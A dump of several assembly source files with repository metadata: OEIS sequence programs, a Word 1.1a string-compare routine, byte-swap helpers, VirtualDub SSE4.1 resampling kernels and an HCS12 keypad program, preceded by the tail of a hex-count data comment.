'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 7}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 0}} {'06': 1892, 'e2': 1, 'de': 1, '9f': 19928, '6c': 1, '86': 1, 'fe': 1, '87': 1, '85': 2, '8e': 1} 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 06 9f 06 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 06 9f 06 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 06 9f 9f 9f 06 06 06 9f 9f 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 06 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 06 9f 9f 06 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 06 06 9f 9f 9f 9f 9f 9f 06 9f 06 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 06 9f 9f 06 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 06 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 06 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 06 9f 06 9f 06 06 9f 06 9f 9f 06 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 06 9f 9f 06 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 9f 06 9f 9f */
48.211538
2,999
0.656163
d7e770ccc59f809e0f5eedf11d1032c9de36cfe1
431
asm
Assembly
programs/oeis/257/A257200.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/257/A257200.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/257/A257200.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A257200: a(n) = n*(n+1)*(n+2)*(n+3)*(n^2+3*n+26)/720. ; 1,6,22,63,154,336,672,1254,2211,3718,6006,9373,14196,20944,30192,42636,59109,80598,108262,143451,187726,242880,310960,394290,495495,617526,763686,937657,1143528,1385824,1669536,2000152,2383689,2826726,3336438,3920631,4587778,5347056,6208384,7182462 lpb $0 mov $2,$0 sub $0,1 seq $2,257199 ; a(n) = n*(n+1)*(n+2)*(n^2+2*n+17)/120. add $1,$2 lpe add $1,1 mov $0,$1
35.916667
250
0.677494
512d12388c8435e820ee2ea0d4c704d06e189072
155
asm
Assembly
src/console/ConsoleInputHandle.asm
jhm-ciberman/calculator-asm
f5305f345d7efdd616b34a485f7460f6789f4d9c
[ "MIT" ]
2
2019-08-03T17:09:30.000Z
2021-04-01T22:17:09.000Z
src/console/ConsoleInputHandle.asm
jhm-ciberman/calculator-asm
f5305f345d7efdd616b34a485f7460f6789f4d9c
[ "MIT" ]
null
null
null
src/console/ConsoleInputHandle.asm
jhm-ciberman/calculator-asm
f5305f345d7efdd616b34a485f7460f6789f4d9c
[ "MIT" ]
1
2019-08-04T21:26:32.000Z
2019-08-04T21:26:32.000Z
proc ConsoleInputHandle, input: QWORD fastcall AppLogOffsetReset fastcall ParserParseString, rcx fastcall ConsoleFlushBuffers ret endp
25.833333
38
0.767742
1dd2a17924cc19cbeadb1fbb1668ba55bc6d9ebb
1,252
asm
Assembly
programs/oeis/017/A017740.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/017/A017740.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/017/A017740.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A017740: Binomial coefficients C(n,76). ; 1,77,3003,79079,1581580,25621596,350161812,4151918628,43595145594,411731930610,3540894603246,28005257316582,205371886988268,1406007533996604,9038619861406740,54834293825867556,315297189498738447,1724861095493098563,9007607943130625829,45038039715653129145,216182590635135019896,998557680552766520472,4448120577007778136648,19146258135816088501224,79776075565900368755100,322295345286237489770604,1264389431507547075253908,4823411535010272175968612,17915528558609582367883416,64866568919103660297508920,229195210180832933051198184,791093144817713672144458248,2669939363759783643487546587,8818890625752012640610381151,28531704965668276190210056665,90486264319690818774666179709,281512822327926991743405892428,859755376298804055864996374172,2579266128896412167594989122516,7605528328797112801882660233060,22056032153511627125459714675874,62940384438069765211677722367738,176832508659338864166142172366502,489373686754914531064439965386366,1334655509331585084721199905599180,3588740369536039894472559746166684,9517963588769497111427223674615988,24908713221673364780969117276122692,64347509155989525684170219629983621,164151809071401851235128111300978625,413662558859932665112522840478466135 add $0,76 bin $0,76
208.666667
1,188
0.941693
31a92e7b132d827eaeca88445ecfdcaf84ef666b
4,062
asm
Assembly
Microsoft Word for Windows Version 1.1a/Word 1.1a CHM Distribution/Opus/asm/index2n.asm
lborgav/Historical-Source-Codes
c0aeaae1d482718e3b469d9eb7a6d0002faa1ff5
[ "MIT" ]
7
2017-01-12T17:48:48.000Z
2021-11-28T04:37:34.000Z
Microsoft Word for Windows Version 1.1a/Word 1.1a CHM Distribution/Opus/asm/index2n.asm
lborgav/Historical-Source-Codes
c0aeaae1d482718e3b469d9eb7a6d0002faa1ff5
[ "MIT" ]
null
null
null
Microsoft Word for Windows Version 1.1a/Word 1.1a CHM Distribution/Opus/asm/index2n.asm
lborgav/Historical-Source-Codes
c0aeaae1d482718e3b469d9eb7a6d0002faa1ff5
[ "MIT" ]
5
2017-03-28T08:04:30.000Z
2020-03-25T14:25:29.000Z
include w2.inc include noxport.inc include consts.inc include structs.inc createSeg index2_PCODE,index2,byte,public,CODE ; DEBUGGING DECLARATIONS ifdef DEBUG midIndex2n equ 34 ; module ID, for native asserts endif ; EXTERNAL FUNCTIONS externFP <N_WCompSzSrt> externFP <ReloadSb> ifdef DEBUG externFP <AssertProcForNative> externFP <S_WCompSzSrt> endif ;DEBUG sBegin data ; EXTERNALS externW mpsbps ; #ifdef DEBUG ifdef DEBUG externW vcComps externW wFillBlock ; #endif /* DEBUG */ endif sEnd data ; CODE SEGMENT _INDEX2 sBegin index2 assumes cs,index2 assumes ds,dgroup assumes ss,dgroup ;------------------------------------------------------------------------- ; WCompRgchIndex(hpch1, cch1, hpch2, cch2) ;------------------------------------------------------------------------- ;/* W C O M P R G C H I N D E X */ ;/* Routine to compare RGCH1 and RGCH2 ; Return: ; 0 if rgch1 = rgch2 ; negative if rgch1 < rgch2 ; positive if rgch1 > rgch2 ; This routine is case-insensitive ; soft hyphens are ignored in the comparison ;*/ ; %%Function:WCompRgchIndex %%Owner:BRADV ;HANDNATIVE int WCompRgchIndex(hpch1, cch1, hpch2, cch2) ;char HUGE *hpch1, HUGE *hpch2; ;int cch1, cch2; ;{ ; char *pch; ; char HUGE *hpchLim; ; char sz1[cchMaxEntry+2]; ; char sz2[cchMaxEntry+2]; cProc N_WCompRgchIndex,<PUBLIC,FAR,ATOMIC>,<si,di> ParmD hpch1 OFFBP_hpch1 = -4 ParmW cch1 OFFBP_cch1 = -6 ParmD hpch2 OFFBP_hpch2 = -10 ParmW cch2 OFFBP_cch2 = -12 LocalV sz1,<cchMaxEntry+2> LocalV sz2,<cchMaxEntry+2> cBegin ; Debug(++vcComps); ifdef DEBUG inc [vcComps] endif ;DEBUG ; Assert(cch1 < cchMaxEntry); ; for (pch = sz1, hpchLim = hpch1 + cch1; ; hpch1 < hpchLim; hpch1++) ; { ; if (*hpch1 != chNonReqHyphen) ; *pch++ = *hpch1; ; } ; *pch = 0; lea si,[sz1] push si ;argument for WCompSzSrt lea di,[hpch1] call WCRI01 ; Assert(cch2 < cchMaxEntry); ; for (pch = sz2, hpchLim = hpch2 + cch2; ; hpch2 < hpchLim; hpch2++) ; { ; if (*hpch2 != chNonReqHyphen) ; *pch++ = *hpch2; ; } ; *pch = 0; lea si,[sz2] push si ;argument for WCompSzSrt lea di,[hpch2] call WCRI01 ; return (WCompSzSrt(sz1, sz2, fFalse /* not case sensitive */)); errnz <fFalse> xor ax,ax push ax ifdef DEBUG cCall S_WCompSzSrt,<> else ;not DEBUG cCall N_WCompSzSrt,<> endif ;DEBUG ;} cEnd WCRI01: ; Assert(cch < cchMaxEntry); ifdef DEBUG errnz <OFFBP_hpch1 - OFFBP_cch1 - 2> errnz <OFFBP_hpch2 - OFFBP_cch2 - 2> cmp wptr [di+(OFFBP_cch1 - OFFBP_hpch1)],cchMaxEntry jb WCRI02 push ax push bx push cx push dx mov ax,midIndex2n mov bx,1001 ; label # for native assert cCall AssertProcForNative, <ax, bx> pop dx pop cx pop bx pop ax WCRI02: endif ;DEBUG ; for (pch = sz, hpchLim = hpch + cch; ; hpch < hpchLim; hpch++) ; { ; if (*hpch != chNonReqHyphen) ; *pch++ = *hpch; ; } mov bx,[di+2] ;get SEG_hpch shl bx,1 mov ax,mpsbps[bx] mov es,ax shr ax,1 jc WCRI03 ; reload sb trashes ax, cx, and dx cCall ReloadSb,<> ifdef DEBUG mov ax,[wFillBlock] mov bx,[wFillBlock] mov cx,[wFillBlock] mov dx,[wFillBlock] endif ;DEBUG WCRI03: errnz <OFFBP_hpch1 - OFFBP_cch1 - 2> errnz <OFFBP_hpch2 - OFFBP_cch2 - 2> mov cx,[di+(OFFBP_cch1 - OFFBP_hpch1)] mov di,[di] ;get OFF_hpch mov al,chNonReqHyphen WCRI04: mov dx,di repne scasb ;look for chNonReqHyphen push cx push di push es pop ds push ss pop es mov cx,di mov di,si mov si,dx jne WCRI05 ;if we found a chNonReqHyphen, don't copy it dec cx WCRI05: sub cx,dx rep movsb ;copy up to the chNonReqHyphen or end of rgch mov si,di push ds pop es push ss pop ds pop di pop cx or cx,cx ;more characters in rgch? jne WCRI04 ;yes - look for more chNonReqHyphens ; *pch = 0; mov bptr [si],0 ret ; End of WCompRgchIndex sEnd index2 end
19.160377
75
0.614229
b17fe2e06fb93229c63619c88bfddb6be38ed97b
232
asm
Assembly
untested/x64/bswap.asm
GabrielRavier/Generic-Assembly-Samples
fbf803960a14307b7fce0165058d0d4048abaf42
[ "Unlicense" ]
null
null
null
untested/x64/bswap.asm
GabrielRavier/Generic-Assembly-Samples
fbf803960a14307b7fce0165058d0d4048abaf42
[ "Unlicense" ]
null
null
null
untested/x64/bswap.asm
GabrielRavier/Generic-Assembly-Samples
fbf803960a14307b7fce0165058d0d4048abaf42
[ "Unlicense" ]
null
null
null
global _bswap16 global _bswap32 global _bswap64 segment .text align=16 _bswap16: mov eax, edi rol ax, 8 ret align 16 _bswap32: mov eax, edi bswap eax ret align 16 _bswap64: mov rax, rdi bswap rax ret
7.733333
22
0.672414
da8dcd3a31a2b5035d5b421535ab950091863ea7
770
asm
Assembly
programs/oeis/268/A268622.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/268/A268622.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/268/A268622.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A268622: Number of n X 2 0..2 arrays with some element plus some horizontally or vertically adjacent neighbor totalling two no more than once. ; 9,42,174,666,2430,8586,29646,100602,336798,1115370,3661038,11927898,38618046,124357194,398580750,1272269754,4046391774,12827922858,40550011182,127848761370,402142467582,1262215953162,3954013510734,12364137485946,38598703319070,120314982540906,374501565373806,1164174549374682,3614533207883838 mov $5,$0 mov $7,2 lpb $7,1 mov $0,$5 sub $7,1 add $0,$7 mov $2,$0 mov $3,$0 mov $4,6 lpb $0,1 sub $0,1 mul $4,$2 mov $2,1 add $4,$3 add $3,$4 mov $4,2 add $4,$3 lpe add $3,1 mov $6,$3 mov $8,$7 lpb $8,1 mov $1,$6 sub $8,1 lpe lpe lpb $5,1 sub $1,$6 mov $5,0 lpe
22.647059
294
0.676623
9d017f32562b9b6c3fd24ad0817bc9aeaf8617a0
365
asm
Assembly
programs/oeis/046/A046824.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/046/A046824.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/046/A046824.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A046824: Number of 1's in binary expansion of 5n+4. ; 1,2,3,3,2,4,2,4,3,3,4,5,1,3,3,5,3,4,5,4,3,5,4,6,5,2,3,4,2,4,4,6,3,4,5,5,4,6,3,5,4,4,5,6,3,5,5,7,5,6,7,3,2,4,3,5,4,3,4,5,3,5,5,7,3,4,5,5,4,6,4,6,5,5,6,7,2,4,4,6,4,5,6,5,4,6,5,7,6,4,5,6,4 mul $0,5 add $0,4 seq $0,120 ; 1's-counting sequence: number of 1's in binary expansion of n (or the binary weight of n).
52.142857
187
0.594521
0ccc2010a2340f52de41847233c597e6cf6a5d48
6,408
asm
Assembly
module/mpc-be/SRC/src/ExtLib/VirtualDub/Kasumi/source/a_resample_sse41.asm
1aq/PBox
67ced599ee36ceaff097c6584f8100cf96006dfe
[ "MIT" ]
null
null
null
module/mpc-be/SRC/src/ExtLib/VirtualDub/Kasumi/source/a_resample_sse41.asm
1aq/PBox
67ced599ee36ceaff097c6584f8100cf96006dfe
[ "MIT" ]
1
2019-11-14T04:18:32.000Z
2019-11-14T04:18:32.000Z
module/mpc-be/SRC/src/ExtLib/VirtualDub/Kasumi/source/a_resample_sse41.asm
1aq/PBox
67ced599ee36ceaff097c6584f8100cf96006dfe
[ "MIT" ]
null
null
null
segment .rdata, align=16 round dq 0000000000002000h colround dq 0000200000002000h segment .text global _vdasm_resize_table_row_8_k8_4x_SSE41 _vdasm_resize_table_row_8_k8_4x_SSE41: push ebp push edi push esi push ebx movq xmm6, [round] pshufd xmm6, xmm6, 0 mov ebp, [esp + 4 + 16] ;ebp = dst mov esi, [esp + 12 + 16] ;esi = width mov edi, [esp + 16 + 16] ;edi = kernel .yloop: ;eax = temp ;ebx = temp ;ecx = temp ;edx = temp ;esi = horiz counter ;edi = filter list ;ebp = destination mov eax, [edi+0] mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [esp+8+16] add eax, edx add ebx, edx add ecx, edx add edx, [edi+12] pmovzxbw xmm0, [eax] pmaddwd xmm0, [edi+10h] pmovzxbw xmm1, [ebx] pmaddwd xmm1, [edi+20h] pmovzxbw xmm2, [ecx] pmaddwd xmm2, [edi+30h] pmovzxbw xmm3, [edx] pmaddwd xmm3, [edi+40h] add edi, 50h phaddd xmm0, xmm1 phaddd xmm2, xmm3 phaddd xmm0, xmm2 paddd xmm0, xmm6 psrad xmm0, 14 packssdw xmm0, xmm0 packuswb xmm0, xmm0 movd [ebp], xmm0 add ebp, 4 sub esi, 1 jne .yloop pop ebx pop esi pop edi pop ebp ret global _vdasm_resize_table_row_8_k16_4x_SSE41 _vdasm_resize_table_row_8_k16_4x_SSE41: push ebp push edi push esi push ebx movq xmm6, [round] pshufd xmm6, xmm6, 0 mov ebp, [esp + 4 + 16] ;ebp = dst mov esi, [esp + 12 + 16] ;esi = width mov edi, [esp + 16 + 16] ;edi = kernel .yloop: ;eax = temp ;ebx = temp ;ecx = temp ;edx = temp ;esi = horiz counter ;edi = filter list ;ebp = destination mov eax, [edi+0] mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [esp+8+16] add eax, edx add ebx, edx add ecx, edx add edx, [edi+12] pmovzxbw xmm0, [eax] pmaddwd xmm0, [edi+10h] pmovzxbw xmm1, [ebx] pmaddwd xmm1, [edi+20h] pmovzxbw xmm2, [ecx] pmaddwd xmm2, [edi+30h] pmovzxbw xmm3, [edx] pmaddwd xmm3, [edi+40h] pmovzxbw xmm4, [eax+8] pmaddwd xmm4, [edi+50h] pmovzxbw xmm5, [ebx+8] pmaddwd xmm5, [edi+60h] paddd xmm0, xmm4 pmovzxbw xmm4, [ecx+8] pmaddwd xmm4, [edi+70h] paddd xmm1, xmm5 pmovzxbw xmm5, [edx+8] pmaddwd xmm5, [edi+80h] paddd xmm2, xmm4 paddd xmm3, xmm5 add edi, 90h phaddd xmm0, xmm1 phaddd xmm2, xmm3 phaddd xmm0, xmm2 paddd xmm0, xmm6 psrad xmm0, 14 packssdw xmm0, xmm0 packuswb xmm0, xmm0 movd [ebp], xmm0 add ebp, 4 sub esi, 1 jne .yloop pop ebx pop esi pop edi pop ebp ret global _vdasm_resize_table_row_8_SSE41 _vdasm_resize_table_row_8_SSE41: push ebp push edi push esi push ebx pxor xmm7, xmm7 movq xmm6, [round] mov edi, [esp + 4 + 16] ;edi = dst mov ebx, [esp + 8 + 16] ;ebx = src mov ebp, [esp + 12 + 16] ;ebp = width mov edx, [esp + 16 + 16] ;edx = kernel .yloop: ;eax = temp ;ebx = source base address ;ecx = (temp) source ;edx = filter list ;esi = (temp) kernel width ;edi = destination ;ebp = horiz counter mov eax, [edx] add edx, 16 lea ecx, [ebx + eax] mov esi, [esp + 20 + 16] ;esi = kernel width movq xmm2, xmm6 .xloop: pmovzxbw xmm0, [ecx] add ecx, 8 pmaddwd xmm0, [edx] paddd xmm2, xmm0 add edx, 16 sub esi, 8 jne .xloop phaddd xmm2, xmm2 phaddd xmm2, xmm2 psrad xmm2, 14 packssdw xmm2, xmm2 packuswb xmm2, xmm2 movd eax, xmm2 mov [edi], al add edi, 1 sub ebp, 1 jne .yloop pop ebx pop esi pop edi pop ebp ret global _vdasm_resize_table_col_8_k2_SSE41 _vdasm_resize_table_col_8_k2_SSE41: push ebp push edi push esi push ebx movq xmm6, [colround] pshufd xmm6, xmm6, 0 mov esi, [esp + 4 + 16] ;esi = dst mov edi, [esp + 16 + 16] ;edi = kernel mov ebp, [esp + 12 + 16] ;ebp = width movq xmm7, [edi] pshufd xmm7, xmm7, 0 mov edx, [esp + 8 + 16] ;ebx = srcs mov eax, [edx+0] mov ebx, [edx+4] add eax, ebp add ebx, ebp neg ebp .yloop: ;eax = row0 ;ebx = row1 ;ecx = ;edx = ;edi = kernel ;esi = dest ;ebp = width counter movd xmm0, [eax+ebp] movd xmm2, [ebx+ebp] punpcklbw xmm0, xmm2 pmovzxbw xmm0, xmm0 pmaddwd xmm0, xmm7 paddd xmm0, xmm6 psrad xmm0, 14 packssdw xmm0, xmm0 packuswb xmm0, xmm0 movd [esi], xmm0 add esi, 4 add ebp, 4 jnz .yloop pop ebx pop esi pop edi pop ebp ret global _vdasm_resize_table_col_8_k4_SSE41 _vdasm_resize_table_col_8_k4_SSE41: push ebp push edi push esi push ebx movq xmm7, [colround] pshufd xmm7, xmm7, 0 mov esi, [esp + 4 + 16] ;esi = dst mov edi, [esp + 16 + 16] ;edi = kernel movdqu xmm6, [edi] pshufd xmm5, xmm6, 0 pshufd xmm6, xmm6, 0aah mov edx, [esp + 8 + 16] ;ebx = srcs mov ebp, [esp + 12 + 16] mov eax, [edx+0] mov ebx, [edx+4] mov ecx, [edx+8] mov edx, [edx+12] lea eax, [eax+ebp-4] lea ebx, [ebx+ebp-4] lea ecx, [ecx+ebp-4] lea edx, [edx+ebp-4] lea esi, [esi+ebp-4] neg ebp add ebp,4 jz .odd .yloop: ;eax = row0 ;ebx = row1 ;ecx = row2 ;edx = row3 ;edi = kernel ;esi = dest ;ebp = width counter movd xmm0, [eax+ebp] movd xmm1, [ebx+ebp] punpcklbw xmm0, xmm1 movd xmm1, [ecx+ebp] movd xmm2, [edx+ebp] punpcklbw xmm1, xmm2 movd xmm2, [eax+ebp+4] movd xmm3, [ebx+ebp+4] punpcklbw xmm2, xmm3 movd xmm3, [ecx+ebp+4] movd xmm4, [edx+ebp+4] punpcklbw xmm3, xmm4 pmovzxbw xmm0, xmm0 pmaddwd xmm0, xmm5 pmovzxbw xmm1, xmm1 pmaddwd xmm1, xmm6 pmovzxbw xmm2, xmm2 pmaddwd xmm2, xmm5 pmovzxbw xmm3, xmm3 pmaddwd xmm3, xmm6 paddd xmm0, xmm1 paddd xmm2, xmm3 paddd xmm0, xmm7 paddd xmm2, xmm7 psrad xmm0, 14 psrad xmm2, 14 packssdw xmm0, xmm2 packuswb xmm0, xmm0 movq [esi+ebp], xmm0 add ebp, 8 js .yloop jnz .noodd .odd: movd xmm0, [eax] movd xmm1, [ebx] movd xmm2, [ecx] movd xmm3, [edx] punpcklbw xmm0, xmm1 punpcklbw xmm2, xmm3 pmovzxbw xmm0, xmm0 pmovzxbw xmm2, xmm2 pmaddwd xmm0, xmm5 pmaddwd xmm2, xmm6 paddd xmm0, xmm2 paddd xmm0, xmm7 psrad xmm0, 14 packssdw xmm0, xmm0 packuswb xmm0, xmm0 movd [esi], xmm0 .noodd: pop ebx pop esi pop edi pop ebp ret end
17.849582
49
0.597378
3bc9f95a072ce868495cb512a1b2774d7dd734cc
9,468
asm
Assembly
hcs12_relocatable_asm/Sources/serialcom_keypad.asm
billhhh/hcs12_arduino_mp3
090df45ce5b6370467c62106f2e75791934050d0
[ "MIT" ]
null
null
null
hcs12_relocatable_asm/Sources/serialcom_keypad.asm
billhhh/hcs12_arduino_mp3
090df45ce5b6370467c62106f2e75791934050d0
[ "MIT" ]
null
null
null
hcs12_relocatable_asm/Sources/serialcom_keypad.asm
billhhh/hcs12_arduino_mp3
090df45ce5b6370467c62106f2e75791934050d0
[ "MIT" ]
null
null
null
;**************************************************************************************** ;*TITLE: serialcom_keypad.ASM * ;*AUTHOR: Bill Wang * ;*DATE: 12-05-16 * ;* Code modified for Dragon 12+ board derived from example 12.4 of * ;* HCS12 Microconntroller and Embedded Systems * ;* by: Mazidi and Causy * ;*Notes : 1) Columns are to be treated as inputs Rows are outputs. * ;* Rows are set HIGH to start and brougnt low, if a column on that * ;* row is found to be low, then that button value (0-15) is returned. * ;* * ;* C0 C1 C2 C3 * ;* PA0 PA1 PA2 PA3 * ;* | | | | * ;* ----------------- * ;* | | | | | * ;* | 0 | 1 | 2 | 3 | * ;* ------------------- PA4, R0 * ;* | | | | | * ;* | 4 | 5 | 6 | 7 | * ;* ------------------- PA5, R1 * ;* | | | | | * ;* | 8 | 9 | 10| 11| * ;* ------------------- PA6, R2 * ;* | | | | | * ;* | 12| 13| 14| 15| * ;* ------------------- PA7, R3 * ;**************************************************************************************** ;Keypad program for Dragon12 Plus Trainer Board. ;Press any key and the ASCII code for the key is shown on PORTB LEDs ;with HCS12 Serial Monitor Program installed. This code is for CodeWarrior IDE ;In Dragon12+ RAM address is from $1000-3FFF ;We use RAM addresses starting at $1000 for scratch pad (variables) and $3FFF for Stack ;Make sure you are in HCS12 Serial Monitor Mode before downloading ;and also make sure SW7=LOAD (SW7 is 2-bit red DIP Switch on bottom right side of the board and must be 00, or LOAD) ;Press F7 (to Make), then F5(Debug) to downLOAD,and F5 once more to start the program execution ABSENTRY Entry ; for absolute assembly: mark this as application entry point ; Include derivative-specific definitions INCLUDE 'mc9s12dp256.inc' ;CPU used by Dragon12+ board ;----------------------USE $1000-$2FFF for Scratch Pad D15mH EQU 17 D15mL EQU 250 COLS EQU PORTA ROWS EQU PORTA LED EQU PORTB ROW0 EQU %00010000 ROW1 EQU %00100000 ROW2 EQU %01000000 ROW3 EQU %10000000 COLM EQU %00001111 ROWM EQU %11110000 ORG $1000 ;Keypad Look-up Table KCODE0 DC.B '0123' KCODE1 DC.B '4567' KCODE2 DC.B '89AB' KCODE3 DC.B 'CDEF' ORG $1110 ;Delay VARIABLES DR15mH DS.B 1 DR15mL DS.B 1 PDELAY DS.B 1 ;code section ORG $4000 ;Flash ROM address for Dragon12+ Entry: LDS #$4000 ;Stack LDAA #$0 STAA SCI1BDH LDAA #156 ;For 9600 on Serial COM1 STAA SCI1BDL ;48MHz/2=24MHz, 24MHz/16=1.5MHz and 1.5MHz/9600=156 LDAA #0 STAA SCI1CR1 LDAA #$0C STAA SCI1CR2 LDAA #$FF ; STAA DDRB ;MAKE PORTB OUTPUT lDAA #$02 ; STAA DDRJ ;ENABLE LED ARRAY ON PORTB OUTPUT LDAA #$00 ; STAA PTJ ; LDAA #$F0 ;MAKE PORT A HIGH NIBLE OUTPUT STAA DDRA ;LOW NIBLE INPUT LDAA #$0F ; STAA DDRP ; STAA PTP ;TURN OFF 7SEG LED LDAA #$00 ; STAA PORTB ;INITIALIZE PORT B K1: ;TEST TO MAKE SURE NO BUTTON PRESSED LDAA 